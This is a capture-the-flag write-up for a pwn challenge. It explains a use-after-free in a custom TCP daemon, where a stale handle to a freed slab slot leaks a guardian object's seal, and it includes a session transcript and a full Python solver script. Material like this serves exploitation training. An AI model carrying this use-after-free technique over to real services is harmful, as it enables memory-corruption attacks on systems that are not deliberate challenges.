A06 - Siddhashrama: The Unbroken Vigil

Category: Pwn | **Flag:** `PINAKA{siddhashrama_the_vigil_has_one_unseen_seam}` Target: `130.210.48.10:9002` (TCP)

TL;DR

Use-after-free on a slab. Wards and the guardian live in the same 256-slot arena. `SWEEP` frees a retired ward but its handle stays valid, `CONSECRATE` puts the new guardian into that freed slot, and `GET` on the old handle leaks the guardian. Its first 8 bytes are the seal that `PROVE` wants.

The daemon

We get a stripped x86-64 daemon and a runner script. It speaks a simple line-based protocol over TCP.

```
A06 / SIDDHASHRAMA VIGIL  RECON
Permissions Size User      Date Modified Name
.rw-rw-r--  2.8k darknotch 30 Oct 02:22  README.md
.rwxrwxr-x   815 darknotch 30 Oct 02:21  run.sh
.rwxr-xr-x  2.4k darknotch  1 Nov 21:33  solve.py
.rwxr-xr-x   23k darknotch 30 Oct 07:05  vigil

…/Pinaka/A06_player ❯
```

Object lifecycle

The commands that matter are `WARD`, `ENTRUST`, `RETIRE`, `SWEEP`, `CONSECRATE`, `GET` and `PROVE`. The sweep reclaims the cell but never invalidates the handle pointing to it. The next allocation is the guardian, it lands in the same slot, and the stale handle now points at the guardian object.

```
A06 / BINARY PROTOCOL CLUES
guardianH
SIDDHASHRAMA VIGIL v1.0
  WARD <name>           arm a new protective ward       → handle
  SWEEP                 vigil reclaims retired, entrusted wards
  CONSECRATE            vigil renews the celestial guardian
  PROVE <h> <seal_hex>  present a guardian to complete the vigil's proof
OK consecrated slot=%d (guardian renewed)
ERR usage PROVE <h> <seal_hex>
PROVEN the unbroken vigil acknowledges you, guardian of the yajna
  STATUS | HELP | QUIT
SWEEP
CONSECRATE
PROVE
DENIED not-a-guardian
STATUS

…/Pinaka/A06_player ❯
```

Leaking the seal

`GET` on the stale handle returns a `data=` hex string. The first 16 hex characters (8 bytes) are the guardian's seal. Pass them to `PROVE` with the same handle.

```
Allocator/lifetime sequence:
1. WARD creates handle 0 in slab slot 0.
2. ENTRUST then RETIRE marks its ward eligible for background reclamation.
3. SWEEP reclaims the cell but does not invalidate the control-plane handle.
4. CONSECRATE reuses slot 0 for the guardian.
5. GET through stale handle 0 reads guardian bytes; the first 8 bytes are its proof seal.
6. PROVE with that leaked 16-hex-character seal returns the flag.
This is deterministic allocator reuse, not a timing race.

…/Pinaka/A06_player ❱
```

There's no race here. The order is deterministic, so it works on the first try every time. The daemon accepts the seal and sends the flag on the line after its proof message.

```
Connected to 130.210.48.10:9002
> WARD x
  OK ward id=1 handle=0 slot=0
> ENTRUST 0
  OK entrusted handle=0 slot=0
> RETIRE 0
  OK retired handle=0 slot=0
> SWEEP
  OK swept=1
> CONSECRATE
  OK consecrated slot=0 (guardian renewed)
> GET 0
  OK mantra handle=0 slot=0 data=b062e36c37c85564...
Leaked guardian seal: b062e36c37c85564
> PROVE 0 b062e36c37c85564
  PROVEN the unbroken vigil acknowledges you, guardian of the yajna
  FLAG PINAKA{siddhashrama_the_vigil_has_one_unseen_seam}
Flag: PINAKA{siddhashrama_the_vigil_has_one_unseen_seam}

…/Pinaka/A06_player ❱
```

```
Daemon proof flag: PINAKA{siddhashrama_the_vigil_has_one_unseen_seam}

…/Pinaka/A06_player ❱
```

Solver (`solve.py`)

```python
#!/usr/bin/env python3
"""Exploit the stale ward handle in the hosted Siddhashrama Vigil daemon."""
import re
import socket

HOST, PORT = "130.210.48.10", 9002
FLAG_RE = re.compile(r"PINAKA\{[^}]+\}")


def main():
    sock = socket.create_connection((HOST, PORT), timeout=15)
    stream = sock.makefile("rwb", buffering=0)
    try:
        greeting = []
        while True:
            raw = stream.readline()
            if not raw:
                raise RuntimeError("service closed during greeting")
            line = raw.decode("utf-8", errors="replace").rstrip()
            greeting.append(line)
            if line.startswith("  STATUS | HELP | QUIT"):
                break
        print("Connected to", f"{HOST}:{PORT}")

        def command(text):
            stream.write(text.encode("ascii") + b"\n")
            raw = stream.readline()
            if not raw:
                raise RuntimeError(f"service closed after {text!r}")
            line = raw.decode("utf-8", errors="replace").strip()
            shown = re.sub(r"(data=[0-9a-f]{16})[0-9a-f]+", r"\1...", line, flags=re.I)
            print(f"> {text}\n  {shown}")
            if line.startswith(("ERR", "ERROR")):
                raise RuntimeError(line)
            return line

        created = command("WARD x")
        match = re.search(r"(?:handle|ward)\s*[=:]?\s*(\d+)", created, re.I)
        if not match:
            match = re.search(r"\b(\d+)\b", created)
        if not match:
            raise RuntimeError("could not parse ward handle from response")
        handle = int(match.group(1))
        command(f"ENTRUST {handle}")
        command(f"RETIRE {handle}")
        command("SWEEP")
        command("CONSECRATE")
        leaked = command(f"GET {handle}")
        data_match = re.search(r"data=([0-9a-f]+)", leaked, re.I)
        if not data_match:
            raise RuntimeError("GET response did not include leaked data")
        seal = data_match.group(1)[:16]
        if len(seal) != 16:
            raise RuntimeError("guardian leak was too short to contain its seal")
        print("Leaked guardian seal:", seal)
        proof = command(f"PROVE {handle} {seal}")
        raw_flag = stream.readline()
        if not raw_flag:
            raise RuntimeError("PROVE sent no flag line after its acknowledgement")
        flag_line = raw_flag.decode("utf-8", errors="replace").strip()
        print("  " + flag_line)
        flag_match = FLAG_RE.search(proof + " " + flag_line)
        if not flag_match:
            raise RuntimeError("PROVE response did not include the flag")
        print("Flag:", flag_match.group(0))
    finally:
        stream.close()
        sock.close()
```

```python
if __name__ == "__main__":
    main()
```